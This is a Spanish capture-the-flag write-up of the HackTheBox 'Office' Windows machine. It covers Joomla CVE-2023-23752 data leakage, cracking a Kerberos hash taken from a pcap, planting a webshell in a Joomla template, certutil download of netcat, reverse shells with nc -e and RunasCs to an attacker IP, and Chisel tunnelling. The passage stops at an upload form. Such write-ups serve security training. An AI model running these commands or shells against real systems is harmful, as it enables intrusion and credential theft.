Office – HackTheBox Link to heading

  • OS: Windows
  • Dificultad: Hard/Difícil
  • Plataforma: HackTheBox

‘Office’ Avatar


Resumen Link to heading

Office es una máquina Windows de dificultad Difícil de la plataforma HackTheBox. En ella somos capaces de encontrar un blog utilizando Joomla cuya versión es vulnerable a CVE-2023-23752; lo cual permite obtener credenciales para un usuario. Con la contraseña de este usuario somos capaces de extraer archivos compartidos en el servicio Service Message Block (SMB), entre los cuales se encuentra un archivo .pcap el cual contiene datos de tráfico de redes. Utilizando una herramienta como Wireshark podemos analizar este archivo .pcap, del cual somos capaces de extraer un hash del servicio Kerberos. Tratando de crackear este hash hallado por fuerza bruta, somos capaces de encontrar nuevas credenciales. Estas nuevas credenciales, luego de jugar con algunos usuarios, son válidas para el panel de Joomla; del cual somos capaces de subir una webshell y ganar acceso inicial a la máquina víctima. Una vez dentro, somos capaces de pivotear desde el usuario que administra el servidor web a uno de los usuarios con contraseñas filtradas utilizando la herramienta RunasCs. Ya ganada la intrusión inicial, revisamos los puertos internos abiertos de la máquina. Dentro de ellos hay un puerto interno el cual no es común y el cual nos permite, luego de usar Chisel para hacer un Remote Port Forwarding, subir un archivo .odt el cual nos permite ejecutar comandos remotos gracias a la vulnerabilidad CVE-2023-2255. De esta manera ganamos acceso a un nuevo usuario el cual tiene acceso a algunos archivos de credenciales con el método de encriptado de data Data Protection API (DPAPI). Usando estas credenciales junto con mimikatz somos capaces de obtener las credenciales de un usuario final. Este usuario final nos permite conectarnos a la máquina víctima por medio del servicio Windows Remote Management (WinRM) y el cual pertenece al grupo GPO. Abusando de este grupo, usando herramientas como SharpGPOAbuse, somos capaces de agregar a este usuario final al grupo Administrators y ganar total control sobre la máquina víctima.


User / Usuario Link to heading

Comenzando con un scan de Nmap muestra múltiples puertos abiertos: 53 Domain Name System (DNS), 80 HTTP, 88 Kerberos, 389 Lightweight Directory Access Protocol (LDAP), 443 HTTPs, 445 Server Message Block (SMB), y 5985 Windows Remote Management (WinRM); entre muchos otros.

❯ sudo nmap -sS --open -p- --min-rate=5000 -n -Pn -vvv 10.10.11.3 -oG allPorts

y chequeando sus respectivas versiones:

❯ sudo nmap -sVC -p53,80,88,139,389,443,445,464,593,636,3268,3269,5985,9389,49664,49669,49675,49680,51987 10.10.11.3 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-20 20:39 -04
Nmap scan report for 10.10.11.3
Host is up (0.27s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)
|_http-title: Home
| http-robots.txt: 16 disallowed entries (15 shown)
| /joomla/administrator/ /administrator/ /api/ /bin/
| /cache/ /cli/ /components/ /includes/ /installation/
|_/language/ /layouts/ /libraries/ /logs/ /modules/ /plugins/
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-05-21 08:40:05Z)
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-05-21T08:41:42+00:00; +8h00m02s from scanner time.
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Not valid before: 2023-05-10T12:36:58
|_Not valid after:  2024-05-09T12:36:58
443/tcp   open  ssl/http      Apache httpd 2.4.56 (OpenSSL/1.1.1t PHP/8.0.28)
|_ssl-date: TLS randomness does not represent time
|_http-title: 403 Forbidden
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
| tls-alpn:
|_  http/1.1
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-05-21T08:41:43+00:00; +8h00m02s from scanner time.
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Not valid before: 2023-05-10T12:36:58
|_Not valid after:  2024-05-09T12:36:58
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-05-21T08:41:42+00:00; +8h00m02s from scanner time.
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Not valid before: 2023-05-10T12:36:58
|_Not valid after:  2024-05-09T12:36:58
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-05-21T08:41:43+00:00; +8h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Not valid before: 2023-05-10T12:36:58
|_Not valid after:  2024-05-09T12:36:58
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49675/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49680/tcp open  msrpc         Microsoft Windows RPC
51987/tcp open  msrpc         Microsoft Windows RPC
Service Info: Hosts: DC, www.example.com; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-05-21T08:40:59
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: mean: 8h00m01s, deviation: 0s, median: 8h00m01s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 106.67 seconds

Visitando el sitio http://10.10.11.3 muestra un simple blog:

Office 1

Usando WhatWeb contra este sitio web muestra que éste está usando Joomla (un Content Management System):

❯ whatweb http://10.10.11.3

http://10.10.11.3 [200 OK] Apache[2.4.56], Cookies[3815f63d17a9109b26eb1b8c114159ac], Country[RESERVED][ZZ], HTML5, HTTPServer[Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28], HttpOnly[3815f63d17a9109b26eb1b8c114159ac], IP[10.10.11.3], MetaGenerator[Joomla! - Open Source Content Management], OpenSSL[1.1.1t], PHP[8.0.28], PasswordField[password], PoweredBy[the], Script[application/json,application/ld+json,module], Title[Home], UncommonHeaders[referrer-policy,cross-origin-opener-policy], X-Frame-Options[SAMEORIGIN], X-Powered-By[PHP/8.0.28]

Busco por información interesante dentro de los posts del blog, pero no hay nada interesante. Solamente mucha información acerca de Iron Man.

Revisando el servicio SMB, vemos que éste no permite loguearse anónimamente:

❯ smbmap -H 10.10.11.3 --no-banner

[*] Detected 1 hosts serving SMB
[*] Established 0 SMB session(s)

de manera que pasaré de este servicio de momento.

Ya en este punto empezamos a buscar por directorios ocultos mediante un Brute Force Directory Listing con Gobuster:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.11.3 -t 55 --add-slash -s 200 -b '' --exclude-length 31

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:              http://10.10.11.3
[+] Method:           GET
[+] Threads:          55
[+] Wordlist:         /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes:     200
[+] Exclude Length:   31
[+] User Agent:       gobuster/3.6
[+] Add Slash:        true
[+] Timeout:          10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/icons/               (Status: 200) [Size: 74798]
/administrator/       (Status: 200) [Size: 12318]
/Administrator/       (Status: 200) [Size: 12318]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

donde logro ver un directorio /administrator.

Visitando http://10.10.11.3/administrator/ muestra un panel de login de Joomla:

Office 2

Luego decido usar droopescan para intentar obtener la versión:

❯ droopescan scan joomla --url http://10.10.11.3/

[+] No version found.

[+] Possible interesting urls found:
    Detailed version information. - http://10.10.11.3/administrator/manifests/files/joomla.xml
    Login page. - http://10.10.11.3/administrator/
    License file. - http://10.10.11.3/LICENSE.txt
    Version attribute contains approx version - http://10.10.11.3/plugins/system/cache/cache.xml

e incluso si el script en sí no nos enseña la versión, podemos visitar la url sugerida del output. Por ejemplo, usando cURL:

❯ curl -s http://10.10.11.3/administrator/manifests/files/joomla.xml | grep 'version'

<?xml version="1.0" encoding="UTF-8"?>
        <license>GNU General Public License version 2 or later; see LICENSE.txt</license>
        <version>4.2.7</version>

de manera que tenemos una versión: 4.2.7

Recuerdo que hace aproximadamente un año realicé un exploit para esta versión basado en la vulnerabilidad CVE-2023-23752, para la máquina HackTheBox Devvortex. En corto, tenemos acceso a un endpoint el cual no debería estar expuesto; lo cual resulta en data filtrada. De manera que decido utilizar mi repositorio, escrito en Go. Para esto me clono el repositorio en mi máquina:

❯ git clone https://github.com/gunzf0x/CVE-2023-23752.git

Cloning into 'CVE-2023-23752'...
remote: Enumerating objects: 30, done.
remote: Counting objects: 100% (30/30), done.
remote: Compressing objects: 100% (21/21), done.
remote: Total 30 (delta 9), reused 30 (delta 9), pack-reused 0
Receiving objects: 100% (30/30), 20.11 MiB | 3.45 MiB/s, done.
Resolving deltas: 100% (9/9), done.

❯ cd CVE-2023-23752

❯ ls -la

total 40
drwxr-xr-x 4 gunzf0x gunzf0x 4096 May 20 21:49 .
drwxr-xr-x 3 gunzf0x gunzf0x 4096 May 20 21:49 ..
drwxr-xr-x 2 gunzf0x gunzf0x 4096 May 20 21:49 binaries
drwxr-xr-x 8 gunzf0x gunzf0x 4096 May 20 21:49 .git
-rw-r--r-- 1 gunzf0x gunzf0x  158 May 20 21:49 go.mod
-rw-r--r-- 1 gunzf0x gunzf0x  382 May 20 21:49 go.sum
-rw-r--r-- 1 gunzf0x gunzf0x 1064 May 20 21:49 LICENCE
-rw-r--r-- 1 gunzf0x gunzf0x 6092 May 20 21:49 main.go
-rw-r--r-- 1 gunzf0x gunzf0x  374 May 20 21:49 README.md

y lo corro:

❯ go run main.go -u http://10.10.11.3

######################################################
################### CVE-2023-23752 ###################
######################################################
                                            by gunzf0x

[*] Extracting data from 'http://10.10.11.3'...

    ----> Database Type: mysqli
    ----> Hostname: localhost
    ----> User: root
    ----> Password: H0lOgrams4reTakIng0Ver754!
    ----> Database: joomla_db
    ----> Database Prefix: if2tx_

donde obtenemos credenciales: root:H0lOgrams4reTakIng0Ver754!.

No obstante, estas credenciales no funcionan en el panel de Joomla previamente hallado.

Ya en este punto tenemos una potencial contraseña, pero necesitamos usuarios. Dado que recuerdo que el puerto 88 estaba expuesto corriendo el servicio Kerberos podríamos intentar de utilizar Kerbrute para obtener usuarios. Primero, decido usar NetExec sólo para intentar obtener el nombre del dominio:

❯ netexec smb 10.10.11.3

SMB         10.10.11.3      445    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:office.htb) (signing:True) (SMBv1:False)

donde el nombre del dominio es office.htb.

Ahora que tenemos el nombre del dominio, usamos Kerbrute (el cual puede ser descargado desde su repositorio de Github):

❯ kerbrute userenum --dc 10.10.11.3 -d office.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -t 50

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 05/20/24 - Ronnie Flathers @ropnop

2024/05/20 21:59:22 >  Using KDC(s):
2024/05/20 21:59:22 >   10.10.11.3:88

2024/05/20 21:59:28 >  [+] VALID USERNAME:       administrator@office.htb
2024/05/20 22:00:09 >  [+] VALID USERNAME:       Administrator@office.htb
2024/05/20 22:00:30 >  [+] VALID USERNAME:       etower@office.htb
2024/05/20 22:00:30 >  [+] VALID USERNAME:       ewhite@office.htb
2024/05/20 22:00:30 >  [+] VALID USERNAME:       dwolfe@office.htb
2024/05/20 22:00:30 >  [+] VALID USERNAME:       dmichael@office.htb
2024/05/20 22:00:30 >  [+] VALID USERNAME:       dlanor@office.htb
2024/05/20 22:08:50 >  [+] VALID USERNAME:       hhogan@office.htb

Guardo todos los potenciales usuarios en un archivo llamado users.txt:

❯ cat users.txt

administrator
Administrator
etower
ewhite
dwolfe
dmichael
dlanor
hhogan

Uso nuevamente NetExec para chequear si la contraseña hallada previamente sirve para algunos de los usuarios por medio del servicio SMB:

❯ netexec smb 10.10.11.3 -u users.txt -p 'H0lOgrams4reTakIng0Ver754!' --continue-on-success

SMB         10.10.11.3      445    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:office.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.3      445    DC               [-] office.htb\administrator:H0lOgrams4reTakIng0Ver754! STATUS_LOGON_FAILURE
SMB         10.10.11.3      445    DC               [-] office.htb\Administrator:H0lOgrams4reTakIng0Ver754! STATUS_LOGON_FAILURE
SMB         10.10.11.3      445    DC               [-] office.htb\etower:H0lOgrams4reTakIng0Ver754! STATUS_LOGON_FAILURE
SMB         10.10.11.3      445    DC               [-] office.htb\ewhite:H0lOgrams4reTakIng0Ver754! STATUS_LOGON_FAILURE
SMB         10.10.11.3      445    DC               [+] office.htb\dwolfe:H0lOgrams4reTakIng0Ver754!
SMB         10.10.11.3      445    DC               [-] office.htb\dmichael:H0lOgrams4reTakIng0Ver754! STATUS_LOGON_FAILURE
SMB         10.10.11.3      445    DC               [-] office.htb\dlanor:H0lOgrams4reTakIng0Ver754! STATUS_LOGON_FAILURE
SMB         10.10.11.3      445    DC               [-] office.htb\hhogan:H0lOgrams4reTakIng0Ver754! STATUS_LOGON_FAILURE

donde encontramos credenciales válidas para el servicio SMB: dwolfe:H0lOgrams4reTakIng0Ver754!

Revisando recursos compartidos para este usuario utilizando la herramienta smbmap muestra que tenemos uno llamado “SOC Analyst”. Revisando este recurso compartido muestra un archivo .pcap:

❯ smbmap -H 10.10.11.3 --no-banner -u 'dwolfe' -p 'H0lOgrams4reTakIng0Ver754!' -r 'SOC Analysis'
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)

[+] IP: 10.10.11.3:445  Name: 10.10.11.3                Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share
        SOC Analysis                                            READ ONLY
        ./SOC Analysis
        dr--r--r--                0 Wed May 10 14:52:24 2023    .
        dr--r--r--                0 Wed Feb 14 07:18:31 2024    ..
        fr--r--r--          1372860 Wed May 10 14:51:42 2023    Latest-System-Dump-8fbc124d.pcap
        SYSVOL                                                  READ ONLY       Logon server share

Descargamos este archivo:

❯ smbmap -H 10.10.11.3 --no-banner -u 'dwolfe' -p 'H0lOgrams4reTakIng0Ver754!' --download 'SOC Analysis\Latest-System-Dump-8fbc124d.pcap'

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)
[+] Starting download: SOC Analysis\Latest-System-Dump-8fbc124d.pcap (1372860 bytes)
[+] File output to: /home/gunzf0x/HTB/HTBMachines/Hard/Office/content/10.10.11.3-SOC Analysis_Latest-System-Dump-8fbc124d.pcap

Ahora, el nombre del recurso compartido “SOC Analysis” y la extensión .pcap es una pista de que este archivo podría contener data relacionada al tráfico de paquetes/datos, el cual puede ser leído con herramientas como Wireshark. Abrimos Wireshark y en él abrimos el archivo .pcap. Analizando este archivo, en el paquete con número 1917 podemos ver un request haciendo uso del protocolo KRB5 (relacionado con Kerberos):

Office 3

Este blog explica de buena manera cómo obtener un hash desde un paquete interceptado con Wireshark. Si hacemos doble click en el paquete nos aparecerá una ventana similar a la siguiente:

Office 4

Ahora clickeamos en la flecha al lado de la palabra Kerberos. Básicamente clickeamos en Kerberos -> as-req -> pdata -> PA-DATA -> padata-type -> padata-value:

Office 5

Basados en el blog mencionado, los items importantes aquí son etype -el cual indica el tipo de hash- y cipher -el cual indica el hash en sí-. El otro parámetro importante está localizando haciendo click en req-body -> cname -> cname-string -> CNameString el cual es tstark -el cual es el usuario-. Basados en esto, ahora podemos “construir” el hash:

$krb5pa$18$tstark$OFFICE.HTB$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc

Guardo este hash en un archivo llamado tstark_hash.

Podemos intentar un Brute Force Password Cracking (crackear la contraseña por fuerza bruta) usando la herramienta Hashcat:

❯ hashcat -m 19900 tstark_hash /usr/share/wordlists/rockyou.txt -O

hashcat (v6.2.6) starting
<SNIP>

$krb5pa$18$tstark$OFFICE.HTB$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc:playboy69

<SNIP>

de manera que tenemos un usuario y contraseña: tstark:playboy69 (nice).

Estas credenciales sirven para el servicio SMB, pero el usuario tstark no posee ningún archivo compartido interesante:

❯ netexec smb 10.10.11.3 -u tstark -p 'playboy69' --shares

SMB         10.10.11.3      445    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:office.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.3      445    DC               [+] office.htb\tstark:playboy69
SMB         10.10.11.3      445    DC               [*] Enumerated shares
SMB         10.10.11.3      445    DC               Share           Permissions     Remark
SMB         10.10.11.3      445    DC               -----           -----------     ------
SMB         10.10.11.3      445    DC               ADMIN$                          Remote Admin
SMB         10.10.11.3      445    DC               C$                              Default share
SMB         10.10.11.3      445    DC               IPC$            READ            Remote IPC
SMB         10.10.11.3      445    DC               NETLOGON        READ            Logon server share
SMB         10.10.11.3      445    DC               SOC Analysis
SMB         10.10.11.3      445    DC               SYSVOL          READ            Logon server share

Ahora que tenemos otra contraseña decido volver a la página de login de Joomla (http://10.10.11.3/administrator/) e intento loguearme con estas nuevas credenciales (tstark:playboy69). Pero siguen sin funcionar. Como sea, luego de intentar algunos usuarios con esta misma contraseña, las credenciales administrator:playboy69 finalmente funcionan y estamos dentro del panel de Joomla:

Office 6

Ahora, podemos ir a System, localizar la sección de Templates y clickear en Site Templates. Hecho esto, deberíamos ver algo como:

Office 7

Podemos clickear en Cassiopeia Details and Files, y luego al lado izquierdo en error.php. Aquí decido reemplazar todo el código PHP por el código shell.php de p0wny-shell dado que estamos ante una máquina Windows:

Office 8

y ahora, desde el mismo browser de internet del cual estamos logueados, podemos visitar http://10.10.11.3/templates/cassiopeia/error.php y ver nuestra webshell subida exitosamente: Office 9

donde tenemos una webshell como el usuario office\web_account.

Nota
Por detrás hay algún script corriendo en la máquina víctima el cual constantemente está restaurando el archivo error.php al original, removiendo nuestra webshell. De manera que para ejecutar los pasos posteriores puede ser necesario resubir constantemente la webshell.
Personalmente prefiero una shell interactiva antes que una webshell. Para ello traspado un binario de netcat para Windows luego de comenzar un servidor HTTP en Python en el puerto 8080:

❯ ls && python3 -m http.server 8080

CVE-2023-23752  nc64.exe

Y en la webshell subida decido pasar mis archivos a la máquina víctima usando certutil:

web_account@DC:C:\xampp\htdocs\joomla\templates\cassiopeia# certutil.exe -urlcache -split -f http://10.10.16.15:8080/nc64.exe C:\Users\Public\Downloads\nc.exe

****  Online  ****
  0000  ...
  b0d8
CertUtil: -URLCache command completed successfully.

Empiezo un listener con netcat en el puerto 443. Luego, corremos el binario de netcat descargado en la webshell:

web_account@DC:C:\xampp\htdocs\joomla\templates\cassiopeia# C:\Users\Public\Downloads\nc.exe 10.10.16.15 443 -e C:\Windows\System32\cmd.exe

y en mi listener obtengo una shell como el usuario web_account:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.15] from (UNKNOWN) [10.10.11.3] 59664
Microsoft Windows [Version 10.0.20348.2322]
(c) Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\joomla\templates\cassiopeia>whoami
whoami
office\web_account

C:\xampp\htdocs\joomla\templates\cassiopeia>

No obstante, la flag de usuario no se encuentra en el Desktop del usuario web_account.

Recuerdo que la contraseña playboy69 (nice) era válida para el usuario tstark a través del servicio SMB. Este usuario existe en la máquina:

C:\xampp\htdocs\joomla\templates\cassiopeia>dir C:\Users

dir C:\Users
 Volume in drive C has no label.
 Volume Serial Number is C626-9388

 Directory of C:\Users

01/17/2024  11:50 AM    <DIR>          .
01/22/2024  10:22 AM    <DIR>          Administrator
01/18/2024  01:24 PM    <DIR>          HHogan
01/22/2024  10:22 AM    <DIR>          PPotts
01/18/2024  01:29 PM    <DIR>          Public
01/18/2024  11:33 AM    <DIR>          tstark
01/22/2024  10:22 AM    <DIR>          web_account
               0 File(s)              0 bytes
               7 Dir(s)   4,995,842,048 bytes free

Sin embargo, no podemos loguearnos con este usuario por medio de Windows Remote Management (WinRM) o SMB dado que no está en los grupos con los permisos correspondientes:

C:\xampp\htdocs\joomla\templates\cassiopeia>net user tstark

net user tstark
User name                    tstark
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            5/8/2023 6:32:00 PM
Password expires             Never
Password changeable          5/9/2023 6:32:00 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   1/18/2024 12:46:28 PM

Logon hours allowed          All

Local Group Memberships
Global Group memberships     *Domain Users         *Registry Editors
The command completed successfully.

De manera que utilizaré y subiré RunasCs (el cual puede ser descargado desde su repositorio de Github), y pasamos el archivo de manera similar a como transferimos previamente el binario netcat. Una vez que el archivo ha sido transferido, lo corremos para enviarnos otra reverse shell, pero esta vez como el usuario tstark:

C:\Users\Public\Downloads>.\runascs.exe tstark playboy69 'C:\Users\Public\Downloads\nc.exe 10.10.16.15 443 -e C:\Windows\System32\cmd.exe' -t 10 --bypass-uac

.\runascs.exe tstark playboy69 'C:\Users\Public\Downloads\nc.exe 10.10.16.15 443 -e C:\Windows\System32\cmd.exe' -t 10 --bypass-uac
[-] RunasCsException: [!] Failed to set the token's Integrity Level: High

Pero esto retorna un error. De manera que decido correr de manera alternativa la opción integrada que trae RunasCs para enviarnos una reverse shell (con la flag -r):

.\runascs.exe tstark playboy69 cmd.exe -r 10.10.16.15:443
[*] Warning: The logon for user 'tstark' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-a4f7e$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 7684 created in background.

y finalmente obtengo una shell como el usuario tstark:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.15] from (UNKNOWN) [10.10.11.3] 59786
Microsoft Windows [Version 10.0.20348.2322]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

whoami
office\tstark

donde podemos obtener la flag de usuario en el Deskto del usuario tstark.


NT Authority/System - Administrador Link to heading

Si chequeamos los puertos abiertos en la máquina tenemos:

C:\Windows\system32>netstat -an | find "LISTEN"
netstat -an | find "LISTEN"
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:88             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:389            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:443            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:464            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:593            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:636            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3268           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3269           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3306           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:8083           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:9389           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49669          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49675          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49680          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49683          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:51987          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:58523          0.0.0.0:0              LISTENING
  TCP    10.10.11.3:53          0.0.0.0:0              LISTENING
  TCP    10.10.11.3:139         0.0.0.0:0              LISTENING
  TCP    127.0.0.1:53           0.0.0.0:0              LISTENING
  TCP    [::]:80                [::]:0                 LISTENING
  TCP    [::]:88                [::]:0                 LISTENING
  TCP    [::]:135               [::]:0                 LISTENING
  TCP    [::]:443               [::]:0                 LISTENING
  TCP    [::]:445               [::]:0                 LISTENING
  TCP    [::]:464               [::]:0                 LISTENING
  TCP    [::]:593               [::]:0                 LISTENING
  TCP    [::]:3306              [::]:0                 LISTENING
  TCP    [::]:3389              [::]:0                 LISTENING
  TCP    [::]:5985              [::]:0                 LISTENING
  TCP    [::]:8083              [::]:0                 LISTENING
  TCP    [::]:9389              [::]:0                 LISTENING
  TCP    [::]:47001             [::]:0                 LISTENING
  TCP    [::]:49664             [::]:0                 LISTENING
  TCP    [::]:49665             [::]:0                 LISTENING
  TCP    [::]:49666             [::]:0                 LISTENING
  TCP    [::]:49667             [::]:0                 LISTENING
  TCP    [::]:49668             [::]:0                 LISTENING
  TCP    [::]:49669             [::]:0                 LISTENING
  TCP    [::]:49675             [::]:0                 LISTENING
  TCP    [::]:49680             [::]:0                 LISTENING
  TCP    [::]:49683             [::]:0                 LISTENING
  TCP    [::]:51987             [::]:0                 LISTENING
  TCP    [::]:58523             [::]:0                 LISTENING
  TCP    [::1]:53               [::]:0                 LISTENING

Tenemos bastantes.

Si filtramos por los puertos que ya nos había mostrado el scan de Nmap para chequear por puertos que sólo están disponibles internamente, tenemos:

C:\Windows\system32>netstat -an | findstr /i "listening" | findstr /v /r ":88" | findstr /v /r ":53" | findstr /v /r ":389" | findstr /v /r ":443" | findstr /v /r ":445" | findstr /v /r ":593" | findstr /v /r ":139" | findstr /v /r ":464" | findstr /v /r ":636" | findstr /v /r ":3268" | findstr /v /r ":3269" | findstr /v /r ":5985" | findstr /v /r ":9389" | findstr /v /r ":49664" | findstr /v /r ":49669" | findstr /v /r ":49675" | findstr /v /r ":49680" | findstr /v /r ":51987"

  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3306           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:8083           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49683          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:58523          0.0.0.0:0              LISTENING
  TCP    [::]:80                [::]:0                 LISTENING
  TCP    [::]:135               [::]:0                 LISTENING
  TCP    [::]:3306              [::]:0                 LISTENING
  TCP    [::]:3389              [::]:0                 LISTENING
  TCP    [::]:8083              [::]:0                 LISTENING
  TCP    [::]:47001             [::]:0                 LISTENING
  TCP    [::]:49665             [::]:0                 LISTENING
  TCP    [::]:49666             [::]:0                 LISTENING
  TCP    [::]:49667             [::]:0                 LISTENING
  TCP    [::]:49668             [::]:0                 LISTENING
  TCP    [::]:49683             [::]:0                 LISTENING
  TCP    [::]:58523             [::]:0                 LISTENING

Aquí puedo identificar algunos típicos puertos como 135 para Microsoft RPC, 3306 para MySQL, y 3389 para Microsoft RDP. De todas formas aquí noto que el puerto 8083 no es tan usual.

Asumiendo que este es un servicio web interno (previamente intenté utilizar wget y cURL junto Powershell en contra de este puerto en el localhost, pero el servicio de internet estaba deshabilitado, retornando errores) decido pasar un binario de Chisel para Windows, de manera similar a como pasamos el binario de netcat, para intentar un Remote Port Forwarding. En mi máquina corro:

❯ chisel server -p 8000 --reverse

Y en la máquina víctima convierto el puerto 8083 de la máquina víctima en mi puerto local 8000:

C:\Users\Public\Downloads>.\chisel.exe client 10.10.16.15:8000 R:8083

Ahora, visitando http://localhost:8083 en mi browser de Firefox muestra una nueva página web:

Office 10

En el lado superior derecho, si clickeamos en Submit Application, tenemos un formulario en el cual somos capaces de subir archivos:

Office 11

Si intento subir un archivo PDF genérico el sitio dice:

